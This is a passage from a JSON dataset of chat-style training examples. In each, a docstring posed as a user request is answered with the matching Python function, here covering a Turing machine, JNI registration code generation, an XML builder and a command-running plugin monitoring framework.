method for updating the start state.\nCan only be update ONCE upon CREATION OF THE TM..", "conversation_id": 287, "message_id": 1 }, { "role": "assistant", "content": "def _update_start_state(self, start_state):\n assert self._start_state == None\n TuringMachine._test_state(start_state)\n self._start_state = start_state", "conversation_id": 287, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 288, "message_id": 0 }, { "role": "user", "content": "Compute the result after the next symbol.", "conversation_id": 288, "message_id": 1 }, { "role": "assistant", "content": "def _read(self, symbol):\n self.MAX_LOOPS = self.MAX_LOOPS - 1\n t = self.current_state.calc(symbol)\n self._move_tape(t.output_letter, t.movement_direction)\n self._update_current_state(t.new_state)", "conversation_id": 288, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 289, "message_id": 0 }, { "role": "user", "content": "Checks if path is a directory..", "conversation_id": 289, "message_id": 1 }, { "role": "assistant", "content": "def is_directory(dir_path):\n isdir = os.path.isdir(dir_path)\n logger.debug(\"Path specified %s\", dir_path)\n return isdir", "conversation_id": 289, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 290, "message_id": 0 }, { "role": "user", "content": "Generates files required to perform JNI registration.\nGenerates a srcjar containing a single class, GEN_JNI, that contains all\nnative method declarations.\n\nOptionally generates a header file that provides functions\n(RegisterMainDexNatives and RegisterNonMainDexNatives) to perform\nJNI registration..", "conversation_id": 290, "message_id": 1 }, { "role": "assistant", "content": "def _Generate(java_file_paths,\n srcjar_path,\n proxy_opts,\n header_path=None,\n namespace=''):\n results = []\n with multiprocessing.Pool() as pool:\n for d in pool.imap_unordered(\n functools.partial(_DictForPath, use_proxy_hash=proxy_opts.use_hash),\n java_file_paths):\n if d:\n results.append(d)\n results.sort(key=lambda d: d['FULL_CLASS_NAME'])\n combined_dict = {}\n for key in MERGEABLE_KEYS:\n combined_dict[key] = ''.join(d.get(key, '') for d in results)\n if header_path:\n combined_dict['HEADER_GUARD'] = \\\n os.path.splitext(header_path)[0].replace('/', '_').upper() + '_'\n combined_dict['NAMESPACE'] = namespace\n header_content = CreateFromDict(combined_dict, proxy_opts.use_hash)\n with build_utils.AtomicOutput(header_path, mode='w') as f:\n f.write(header_content)\n with build_utils.AtomicOutput(srcjar_path) as f:\n with zipfile.ZipFile(f, 'w') as srcjar:\n if proxy_opts.use_hash:\n build_utils.AddToZipHermetic(\n srcjar,\n '%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(True),\n data=CreateProxyJavaFromDict(combined_dict, proxy_opts))\n build_utils.AddToZipHermetic(\n srcjar,\n '%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(False),\n data=CreateProxyJavaFromDict(\n combined_dict, proxy_opts, forwarding=True))\n else:\n build_utils.AddToZipHermetic(\n srcjar,\n '%s.java' % jni_generator.ProxyHelpers.GetQualifiedClass(False),\n data=CreateProxyJavaFromDict(combined_dict, proxy_opts))", "conversation_id": 290, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 291, "message_id": 0 }, { "role": "user", "content": "Add the content of the forward declaration to the dictionary..", "conversation_id": 291, "message_id": 1 }, { "role": "assistant", "content": "def _AddForwardDeclaration(self):\n template = string.Template(\"\"\"\\\nJNI_GENERATOR_EXPORT ${RETURN} ${STUB_NAME}(\n JNIEnv* env,\n ${PARAMS_IN_STUB});\n\"\"\")\n forward_declaration = ''\n for native in self.natives:\n value = {\n 'RETURN': jni_generator.JavaDataTypeToC(native.return_type),\n 'STUB_NAME': self.helper.GetStubName(native),\n 'PARAMS_IN_STUB': jni_generator.GetParamsInStub(native),\n }\n forward_declaration += template.substitute(value)\n self._SetDictValue('FORWARD_DECLARATIONS', forward_declaration)", "conversation_id": 291, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 292, "message_id": 0 }, { "role": "user", "content": "Add the body of the RegisterNativesImpl method to the dictionary..", "conversation_id": 292, "message_id": 1 }, { "role": "assistant", "content": "def _AddRegisterNativesCalls(self):\n if len(self.non_proxy_natives) == 0:\n return ''\n template = string.Template(\"\"\"\\\n if (!${REGISTER_NAME}(env))\n return false;\n\"\"\")\n value = {\n 'REGISTER_NAME':\n jni_generator.GetRegistrationFunctionName(self.fully_qualified_class)\n }\n register_body = template.substitute(value)\n if self.main_dex:\n self._SetDictValue('REGISTER_MAIN_DEX_NATIVES', register_body)\n else:\n self._SetDictValue('REGISTER_NON_MAIN_DEX_NATIVES', register_body)", "conversation_id": 292, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 293, "message_id": 0 }, { "role": "user", "content": "Returns the implementation of the array of native methods..", "conversation_id": 293, "message_id": 1 }, { "role": "assistant", "content": "def _AddJNINativeMethodsArrays(self):\n template = string.Template(\"\"\"\\\nstatic const JNINativeMethod kMethods_${JAVA_CLASS}[] = {\n${KMETHODS}\n};\n\"\"\")\n open_namespace = ''\n close_namespace = ''\n if self.namespace:\n parts = self.namespace.split('::')\n all_namespaces = ['namespace %s {' % ns for ns in parts]\n open_namespace = '\\n'.join(all_namespaces) + '\\n'\n all_namespaces = ['} // namespace %s' % ns for ns in parts]\n all_namespaces.reverse()\n close_namespace = '\\n'.join(all_namespaces) + '\\n\\n'\n body = self._SubstituteNativeMethods(template)\n self._SetDictValue('JNI_NATIVE_METHOD_ARRAY', ''.join((open_namespace, body,\n close_namespace)))", "conversation_id": 293, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 294, "message_id": 0 }, { "role": "user", "content": "Returns KMethodString for wrapped native methods in all_classes.", "conversation_id": 294, "message_id": 1 }, { "role": "assistant", "content": "def _AddProxyNativeMethodKStrings(self):\n if self.main_dex:\n key = 'PROXY_NATIVE_METHOD_ARRAY_MAIN_DEX'\n else:\n key = 'PROXY_NATIVE_METHOD_ARRAY'\n proxy_k_strings = ('\\n'.join(\n self._GetKMethodArrayEntry(p) for p in self.proxy_natives))\n self._SetDictValue(key, proxy_k_strings)", "conversation_id": 294, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 295, "message_id": 0 }, { "role": "user", "content": "Substitutes NAMESPACE, JAVA_CLASS and KMETHODS in the provided\ntemplate..", "conversation_id": 295, "message_id": 1 }, { "role": "assistant", "content": "def _SubstituteNativeMethods(self, template, sub_proxy=False):\n ret = []\n all_classes = self.helper.GetUniqueClasses(self.natives)\n all_classes[self.class_name] = self.fully_qualified_class\n for clazz, full_clazz in all_classes.items():\n if not sub_proxy:\n if clazz == jni_generator.ProxyHelpers.GetClass(self.use_proxy_hash):\n continue\n kmethods = self._GetKMethodsString(clazz)\n namespace_str = ''\n if self.namespace:\n namespace_str = self.namespace + '::'\n if kmethods:\n values = {\n 'NAMESPACE': namespace_str,\n 'JAVA_CLASS': jni_generator.EscapeClassName(full_clazz),\n 'KMETHODS': kmethods\n }\n ret += [template.substitute(values)]\n if not ret: return ''\n return '\\n'.join(ret)", "conversation_id": 295, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 296, "message_id": 0 }, { "role": "user", "content": "Returns the implementation of the array of native methods..", "conversation_id": 296, "message_id": 1 }, { "role": "assistant", "content": "def GetJNINativeMethodsString(self):\n template = string.Template(\"\"\"\\\nstatic const JNINativeMethod kMethods_${JAVA_CLASS}[] = {\n${KMETHODS}\n};\n\"\"\")\n return self._SubstituteNativeMethods(template)", "conversation_id": 296, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 297, "message_id": 0 }, { "role": "user", "content": "Returns the code for RegisterNatives..", "conversation_id": 297, "message_id": 1 }, { "role": "assistant", "content": "def _AddRegisterNativesFunctions(self):\n natives = self._GetRegisterNativesImplString()\n if not natives:\n return ''\n template = string.Template(\"\"\"\\\nJNI_REGISTRATION_EXPORT bool ${REGISTER_NAME}(JNIEnv* env) {\n${NATIVES}\\\n return true;\n}\n\"\"\")\n values = {\n 'REGISTER_NAME':\n jni_generator.GetRegistrationFunctionName(self.fully_qualified_class),\n 'NATIVES':\n natives\n }\n self._SetDictValue('JNI_NATIVE_METHOD', template.substitute(values))", "conversation_id": 297, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 298, "message_id": 0 }, { "role": "user", "content": "Returns the shared implementation for RegisterNatives..", "conversation_id": 298, "message_id": 1 }, { "role": "assistant", "content": "def _GetRegisterNativesImplString(self):\n template = string.Template(\"\"\"\\\n const int kMethods_${JAVA_CLASS}Size =\n base::size(${NAMESPACE}kMethods_${JAVA_CLASS});\n if (env->RegisterNatives(\n ${JAVA_CLASS}_clazz(env),\n ${NAMESPACE}kMethods_${JAVA_CLASS},\n kMethods_${JAVA_CLASS}Size) < 0) {\n jni_generator::HandleRegistrationError(env,\n ${JAVA_CLASS}_clazz(env),\n __FILE__);\n return false;\n }\n\"\"\")\n if len(self.non_proxy_natives) != 0:\n return self._SubstituteNativeMethods(template)\n return ''", "conversation_id": 298, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 299, "message_id": 0 }, { "role": "user", "content": "Applies tuple fields (name, value) to xml.\nBoth items must be not None to show in attribute list..", "conversation_id": 299, "message_id": 1 }, { "role": "assistant", "content": "def _open_tag(self, indent_lvl=0, **kwargs):\n return self._sub(\n self._crlf + \"{i}<{name}\".format(i=self._indent * indent_lvl,\n name=self._tag_name)\n + ''.join(' {name}=\"{val}\"'.format(name=name, val=val)\n for (name, val) in self._fields\n if val is not None)\n + '>', **kwargs)", "conversation_id": 299, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 300, "message_id": 0 }, { "role": "user", "content": "Will add text or another (arbitrary complex) XmlBuilder as children of element..", "conversation_id": 300, "message_id": 1 }, { "role": "assistant", "content": "def innerText(self, child):\n self._children.append(child)\n return self", "conversation_id": 300, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 301, "message_id": 0 }, { "role": "user", "content": "Recursively converts self and all children to xml..", "conversation_id": 301, "message_id": 1 }, { "role": "assistant", "content": "def dump(self, indent_lvl=0, **kwargs):\n dumped_children = []\n for child in filter(None, self._children):\n if isinstance(child, XmlBuilder):\n dumped_children.append(child.dump(indent_lvl=(indent_lvl + 1),\n **kwargs))\n else:\n dumped_children.append(\"{child}\".format(child=self._sub(child,\n **kwargs)))\n if self._tag_name:\n return (self._open_tag(indent_lvl, **kwargs)\n + ''.join(dumped_children)\n + self._close_tag(indent_lvl, **kwargs))\n return ''.join(dumped_children)", "conversation_id": 301, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 302, "message_id": 0 }, { "role": "user", "content": "Provided data (from plugins dictionary) and walking template, get all valid\nitems and convert it to jUnit xml representation.\n\nFunction have sane defaults (depends on calee opinion)..", "conversation_id": 302, "message_id": 1 }, { "role": "assistant", "content": "def plugins_to_xml(dict_data,\n yaml_filename=None,\n yaml_data=default_config.YAML_CONFIG,\n dict_templates=['All'],\n additional_fields='AdditionalFields',\n ts_attr='HtmlTestSuiteAttr',\n tc_attr='HtmlTestCaseAttr',\n tc_elem='HtmlTestCaseElem'):\n def _apply(inst, custom_dict=None, **kwargs):\n applied_args = {}\n if custom_dict:\n for k, v in custom_dict.items():\n applied_args[k] = getattr(inst, v)\n for k, v in kwargs.items():\n applied_args[k] = getattr(inst, v)\n return applied_args\n if yaml_filename:\n with open(yaml_filename) as f:\n C = yaml.safe_load(f)\n else:\n C = yaml.safe_load(yaml_data)\n results = {}\n for template in dict_templates:\n results[template] = rows.create(data=dict_data,\n template=C[template],\n additional_fields=C[additional_fields])\n ts_data = {}\n for res in results.keys():\n ts_data[res] = collections.defaultdict(list)\n ts_res = ts_data[res]\n for row in results[res]:\n ts_res[row.Node].append(row)\n junit_xml = XmlBuilder()\n for template_name, ts in ts_data.items():\n with junit_xml.testsuites as html_tss:\n html_tss(name=template_name)\n for _node, tcs in ts.items():\n with html_tss.testsuite as html_ts:\n first = tcs[0] if tcs else None\n if first:\n html_ts(custom_dict=_apply(first,\n custom_dict=C[ts_attr]))\n for tc in tcs:\n html_tc = html_ts.testcase(\n custom_dict=_apply(tc, custom_dict=C[tc_attr]))\n if tc.CaseStatus:\n distinguisher = tc.CaseStatus\n else:\n distinguisher = tc.PluginStatus\n if not tc.CaseName:\n html_tc.name = tc.Plugin\n if distinguisher == 'ERROR':\n if tc.MsgError:\n html_tc.error(message=escape(\n list_to_string(tc.MsgError), quote=1))\n else:\n html_tc.error()\n elif distinguisher == 'WARN':\n out = html_tc.__getattr__('system-out')\n if tc.MsgWarn:\n out.__setattr__('message', escape(\n list_to_string(tc.MsgWarn), quote=1))\n return junit_xml.dump()", "conversation_id": 302, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 303, "message_id": 0 }, { "role": "user", "content": "Stop all plugins\nWait until they are stopped if blocking=True.", "conversation_id": 303, "message_id": 1 }, { "role": "assistant", "content": "def stop(self, blocking=True):\n self.stopping = True\n for plugin in self.plugins.values():\n if plugin.current_run:\n plugin.current_run.stop()\n plugin.current_run.terminate()\n if blocking:\n plugins_left = self.plugins.keys()\n plugins_left_cnt = len(plugins_left)\n while plugins_left:\n plugins_left = []\n for name, plugin in self.plugins.items():\n if not plugin.current_run:\n continue\n if plugin.current_run.is_alive():\n plugins_left.append(name)\n else:\n plugin.current_run.join()\n if plugins_left:\n if len(plugins_left) != plugins_left_cnt:\n lg.info(\"Waiting for %s plugins to shutdown: %s\" % (len(plugins_left), ','.join(plugins_left)))\n plugins_left_cnt = len(plugins_left)\n time.sleep(0.5)", "conversation_id": 303, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 304, "message_id": 0 }, { "role": "user", "content": "Add process and force plugin run.", "conversation_id": 304, "message_id": 1 }, { "role": "assistant", "content": "def add_process(self, plugins=None, filter=None):\n plugins_list = []\n if plugins:\n for plugin in plugins:\n plugins_list.append(self.get_plugin(plugin))\n if filter:\n plugins_list.extend(self.get_plugins(filter))\n if len(plugins_list) == 0:\n raise NoPluginsFound\n process = {\n 'plugins' : plugins_list,\n }\n plugins_name = []\n for p in plugins_list:\n plugins_name.append(p.name)\n lg.info(\"Forcing run of %d plugins: %s\" % (len(plugins_list), ', '.join(plugins_name)))\n self.processes.append(process)\n id = len(self.processes)-1\n for plugin in plugins_list:\n plugin.forced = True\n plugin.forced_result = None\n plugin.run()\n return id", "conversation_id": 304, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 305, "message_id": 0 }, { "role": "user", "content": "Start run of plugins configured as such.", "conversation_id": 305, "message_id": 1 }, { "role": "assistant", "content": "def run_plugins_with_interval(self):\n for plugin in self.plugins.values():\n if not plugin.params['Interval']:\n continue\n plugin.run()", "conversation_id": 305, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 306, "message_id": 0 }, { "role": "user", "content": "Join zombie workers of interval-triggered runs\nThe results will be picked by REST server forked ends of the queues.", "conversation_id": 306, "message_id": 1 }, { "role": "assistant", "content": "def join_timed_plugin_workers(self):\n for plugin in self.plugins.values():\n if not plugin.params['Interval']:\n continue\n if plugin.current_run:\n plugin.current_run.join()\n plugin.current_run = None", "conversation_id": 306, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 307, "message_id": 0 }, { "role": "user", "content": "Validate configuration\nRaise InvalidConfiguration exception if invalid.", "conversation_id": 307, "message_id": 1 }, { "role": "assistant", "content": "def validate(self):\n if self.params['Timeout'] <= 0:\n raise InvalidConfiguration(\"Timeout parameter can't be 0\")\n if not self.params['Command'] and not self.params['Module']:\n raise InvalidConfiguration(\"Command or Module parameter has to be set\")\n if self.params['Command'] and self.params['Module']:\n raise InvalidConfiguration(\"Command and Module parameters cannot be set together\")\n if not self.params['Command'] and self.params['Parser']:\n raise InvalidConfiguration(\"Parser can be used only with Command parameter\")", "conversation_id": 307, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 308, "message_id": 0 }, { "role": "user", "content": "Run process\nCheck if plugin should be run and execute it.", "conversation_id": 308, "message_id": 1 }, { "role": "assistant", "content": "def run(self):\n if self.current_run: \n if self.current_run.is_alive():\n return\n self.current_run.join()\n if self.forced:\n self.current_run = PluginWorker(self.name, self.queue, self.params,\n self.forced)\n self.current_run.start()\n elif self.params['Interval']:\n if datetime.datetime.now() >= self.next_run:\n self.current_run = PluginWorker(self.name, self.queue,\n self.params)\n self.current_run.start()\n self.schedule_run()", "conversation_id": 308, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 309, "message_id": 0 }, { "role": "user", "content": "Schedule next plugin run\nAccept datetime object as time parameter or set\ncurrent time if now parameter is True.", "conversation_id": 309, "message_id": 1 }, { "role": "assistant", "content": "def schedule_run(self, time=None, now=False):\n if time:\n if isinstance(time, datetime.datetime):\n self.next_run = time\n else:\n raise InvalidArgument(\n 'Parameter time has to be an instance of datetime object')\n elif now:\n self.next_run = datetime.datetime.now()\n elif self.params['Interval']:\n self.next_run = (\n datetime.datetime.now() +\n datetime.timedelta(seconds=self.params['Interval']))", "conversation_id": 309, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 310, "message_id": 0 }, { "role": "user", "content": "Run system command and parse output.", "conversation_id": 310, "message_id": 1 }, { "role": "assistant", "content": "def run_command(self, command, timeout=0):\n result = Result()\n lg.debug(\"Plugin %s: executing command %s\" % (self.name, command))\n try:\n stdout, stderr, returncode = smoker.util.command.execute(\n command, timeout=timeout)\n except smoker.util.command.ExecutionTimeout as e:\n raise PluginExecutionTimeout(e)\n except Exception as e:\n lg.exception(e)\n raise PluginExecutionError(\n \"Can't execute command %s: %s\" % (command, e))\n if returncode:\n status = 'ERROR'\n else:\n status = 'OK'\n if self.params['Parser']:\n try:\n result = self.run_parser(stdout, stderr)\n except Exception as e:\n result.set_status('ERROR')\n result.add_error(re.sub('^\\n', '', stderr.strip()))\n result.add_error('Parser run failed: %s' % e)\n result.add_info(re.sub('^\\n', '', stdout.strip()))\n else:\n json = None\n try:\n json = simplejson.loads(stdout)\n except:\n pass\n if json:\n if 'status' in json and json['status'] in [ 'OK', 'ERROR', 'WARN' ]:\n try:\n result.set_result(json, validate=True)\n except ValidationError as e:\n raise PluginMalformedOutput(\"Invalid JSON structure: %s\" % e)\n else:\n raise PluginMalformedOutput(\"Missing status in JSON output: %s\" % json)\n else:\n lg.debug(\"Plugin %s: using non-JSON output\" % self.name)\n result.set_status(status)\n if stderr:\n result.add_error(re.sub('^\\n', '', stderr.strip()))\n if stdout:\n result.add_info(re.sub('^\\n', '', stdout.strip()))\n return result", "conversation_id": 310, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 311, "message_id": 0 }, { "role": "user", "content": "Run parser on given stdout/stderr\nRaise exceptions if anything happen.", "conversation_id": 311, "message_id": 1 }, { "role": "assistant", "content": "def run_parser(self, stdout, stderr):\n lg.debug(\"Plugin %s: running parser %s\" % (self.name, self.params['Parser']))\n if stdout:\n lg.debug(\"Plugin %s: stdout: %s\" % (self.name, stdout.strip()))\n if stderr:\n lg.debug(\"Plugin %s: stderr: %s\" % (self.name, stderr.strip()))\n try:\n parser = __import__(self.params['Parser'], globals(), locals(), ['Parser'], 0)\n except ImportError as e:\n lg.error(\"Plugin %s: can't load parser %s: %s\" % (self.name, self.params['Parser'], e))\n raise\n try:\n parser = parser.Parser(stdout, stderr)\n except Exception as e:\n lg.error(\"Plugin %s: can't initialize parser: %s\" % (self.name, e))\n lg.exception(e)\n raise\n try:\n result = parser.parse()\n except Exception as e:\n lg.error(\"Plugin %s: parser execution failed: %s\" % (self.name, e))\n lg.exception(e)\n raise\n return result", "conversation_id": 311, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 312, "message_id": 0 }, { "role": "user", "content": "Run Python module\nRaise exceptions if anything happen.", "conversation_id": 312, "message_id": 1 }, { "role": "assistant", "content": "def run_module(self, module, **kwargs):\n lg.debug(\"Plugin %s: running module %s\" % (self.name, module))\n try:\n plugin = __import__(module, globals(), locals(), ['Plugin'], 0)\n except ImportError as e:\n lg.error(\"Plugin %s: can't load module %s: %s\" %\n (self.name, module, e))\n raise\n try:\n plugin = plugin.Plugin(self, **kwargs)\n except Exception as e:\n lg.error(\"Plugin %s: can't initialize plugin module: %s\" %\n (self.name, e))\n lg.exception(e)\n raise\n signal.signal(signal.SIGALRM, alarm_handler)\n if 'timeout' not in kwargs:\n kwargs['timeout'] = self.get_param('Timeout', default=120)\n try:\n signal.alarm(kwargs['timeout'])\n result = plugin.run()\n if not result:\n result = plugin.result\n except PluginExecutionTimeout:\n result = self.error_result(\n 'Plugin execution exceeded timeout %d seconds' %\n kwargs['timeout'])\n except Exception as e:\n lg.error(\"Plugin %s: module execution failed: %s\" % (self.name, e))\n lg.exception(e)\n signal.alarm(0)\n raise\n signal.alarm(0)\n return result", "conversation_id": 312, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 313, "message_id": 0 }, { "role": "user", "content": "Run plugin, save result and schedule next run.", "conversation_id": 313, "message_id": 1 }, { "role": "assistant", "content": "def run_plugin(self, force=False):\n if self.params['Command']:\n command = self.params['Command'] % self.escape(dict(self.params))\n try:\n result = self.run_command(command, self.params['Timeout'])\n except Exception as e:\n lg.error(\"Plugin %s: %s\" % (self.name, e))\n result = self.error_result(e)\n elif self.params['Module']:\n try:\n result = self.run_module(self.params['Module'])\n except Exception as e:\n lg.error(\"Plugin %s: %s\" % (self.name, e))\n result = self.error_result(\n re.sub('^\\n', '', ('%s' % e).strip()))\n else:\n lg.error(\"Plugin %s: no Command or Module to execute!\" % self.name)\n result = self.error_result('No Command or Module to execute!')\n if self.params['Action']:\n lg.debug(\"Plugin %s: executing action\" % self.name)\n if self.params['Action']['Command']:\n params = dict(self.params, **result.result)\n params = self.escape(params)\n try:\n action = self.run_command(\n self.params['Action']['Command'] %\n params, timeout=self.params['Action']['Timeout'])\n except Exception as e:\n lg.error(\"Plugin %s: %s\" % (self.name, e))\n action = self.error_result(e)\n elif self.params['Action']['Module']:\n try:\n action = self.run_module(\n self.params['Action']['Module'], result=result)\n except Exception as e:\n lg.error(\"Plugin %s: %s\" % (self.name, e))\n action = self.error_result(e)\n else:\n lg.error(\"Plugin %s: no Action Command or Module to execute!\" %\n self.name)\n action = self.error_result('No Command or Module to execute!')\n result.set_action(action)\n result.set_forced(force)\n try:\n self.result = result.get_result()\n except ValidationError as e:\n lg.error(\"Plugin %s: ValidationError: %s\" % (self.name, e))\n result = self.error_result('ValidationError: %s' % e)\n result.set_forced(force)\n self.result = result.get_result()\n lg.info(\"Plugin %s result: %s\" % (self.name, result.get_result()))", "conversation_id": 313, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 314, "message_id": 0 }, { "role": "user", "content": "Escape given string, dictionary or list\nIf int, None or bool item is found, just pass\nAlso pass if item can't be escaped by some other reason\nRaise exception if unknown data type.", "conversation_id": 314, "message_id": 1 }, { "role": "assistant", "content": "def escape(self, tbe):\n if isinstance(tbe, dict):\n escaped = {}\n for key, value in tbe.items():\n if type(value) in [int, type(None), bool]:\n escaped[key] = value\n else:\n try:\n escaped[key] = re.escape(value)\n except:\n escaped[key] = value\n elif isinstance(tbe, basestring):\n try:\n escaped = re.escape(tbe)\n except:\n escaped = tbe\n elif isinstance(tbe, int) or isinstance(tbe, bool):\n escaped = tbe\n elif isinstance(tbe, list):\n escaped = []\n for value in tbe:\n if type(value) in [int, type(None), bool]:\n escaped.append(value)\n else:\n try:\n escaped.append(re.escape(value))\n except:\n escaped.append(value)\n else:\n raise Exception(\"Unknown data type\")\n return escaped", "conversation_id": 314, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 315, "message_id": 0 }, { "role": "user", "content": "close unnecessary open sockets cloned on fork.", "conversation_id": 315, "message_id": 1 }, { "role": "assistant", "content": "def close_unnecessary_sockets(self):\n open_sockets = list()\n allowed = ['socket.socket', 'socket._socketobject']\n for x in gc.get_objects():\n if any(t for t in allowed if t in repr(type(x))):\n open_sockets.append(x)\n for cur_socket in open_sockets:\n if cur_socket.type == socket.SOCK_STREAM:\n cur_socket.close()", "conversation_id": 315, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 316, "message_id": 0 }, { "role": "user", "content": "Add message into result\nEmpty messages are skipped\n\ndon't split message lines into\nmultiple messages.", "conversation_id": 316, "message_id": 1 }, { "role": "assistant", "content": "def add_msg(self, level, msg, multiline=False):\n if not self.result['messages']:\n self.result['messages'] = {\n 'info' : [],\n 'error': [],\n 'warn' : [],\n }\n if not multiline:\n messages = str(msg).split('\\n')\n else:\n messages = [str(msg)]\n for message in messages:\n if not str(msg).strip():\n continue\n try:\n self.result['messages'][level].append(str(message).strip())\n except KeyError:\n raise InvalidArgument(\"Level has to be info, error or warn\")", "conversation_id": 316, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 317, "message_id": 0 }, { "role": "user", "content": "Validate result\nSkip if it was already validated to avoid\nunwanted re-validation.", "conversation_id": 317, "message_id": 1 }, { "role": "assistant", "content": "def validate(self, force=False):\n if force != True and self.validated == True:\n return True\n else:\n try:\n self._validate_status(self.result['status'])\n self._validate_msg(self.result['messages'])\n self._validate_component_result(self.result['componentResults'])\n self._validate_action(self.result['action'])\n finally:\n self.validated = True", "conversation_id": 317, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 318, "message_id": 0 }, { "role": "user", "content": "Execute smoker.util.command.execute() with timeout (default 120 seconds)\nYou shouldn't use anything else than this function from inside plugins!.", "conversation_id": 318, "message_id": 1 }, { "role": "assistant", "content": "def execute(self, command, **kwargs):\n if 'timeout' not in kwargs:\n kwargs['timeout'] = self.plugin.get_param('Timeout', default=120)\n return smoker.util.command.execute(command, **kwargs)", "conversation_id": 318, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 319, "message_id": 0 }, { "role": "user", "content": "Convert next run timestamp object to the ISO format.", "conversation_id": 319, "message_id": 1 }, { "role": "assistant", "content": "def next_run_iso_format(next_run):\n if isinstance(next_run, bool):\n next_run = None\n else:\n next_run = next_run.isoformat()\n return next_run", "conversation_id": 319, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 320, "message_id": 0 }, { "role": "user", "content": "Convert result dict to list just to have standardized API.", "conversation_id": 320, "message_id": 1 }, { "role": "assistant", "content": "def standardized_api_list(component):\n keyword = 'componentResults'\n if (not isinstance(component, dict) or\n keyword not in component or\n not component[keyword]):\n return component\n results = dict(component)\n results[keyword] = []\n for key, value in component[keyword].items():\n value['name'] = key\n results[keyword].append({'componentResult': value})\n return results", "conversation_id": 320, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 321, "message_id": 0 }, { "role": "user", "content": "Print information about set of plugins.", "conversation_id": 321, "message_id": 1 }, { "role": "assistant", "content": "def print_plugins(plugins, forced=False):\n plugins_result = []\n for plugin in plugins:\n plugins_result.append(print_plugin(plugin, forced))\n return {'plugins': {'items': plugins_result}}", "conversation_id": 321, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 322, "message_id": 0 }, { "role": "user", "content": "Format json info about process in progress.", "conversation_id": 322, "message_id": 1 }, { "role": "assistant", "content": "def print_in_progress(id):\n location = '/processes/%d' % id\n data = {\n 'asyncTask': {\n 'link': {\n 'poll': location\n }\n }\n }\n response = make_response(json.dumps(data, indent=2))\n response.status = 'Accepted'\n response.status_code = 202\n response.headers['Location'] = location\n response.headers['content-type'] = 'application/json'\n return response", "conversation_id": 322, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 323, "message_id": 0 }, { "role": "user", "content": "Execute command, wrapper for Command class.", "conversation_id": 323, "message_id": 1 }, { "role": "assistant", "content": "def execute(command, timeout=None, **kwargs):\n cmd = Command(command, **kwargs)\n return cmd.run(timeout)", "conversation_id": 323, "message_id": 2 } ] }, { "messages": [ { "role": "system", "content": "You are a chatbot expert in solving programming problems in Python.", "conversation_id": 324, "message_id": 0 }, { "role": "user", "content": "Send signal to whole process tree\nBy default send SIGTERM (15).\nIf process 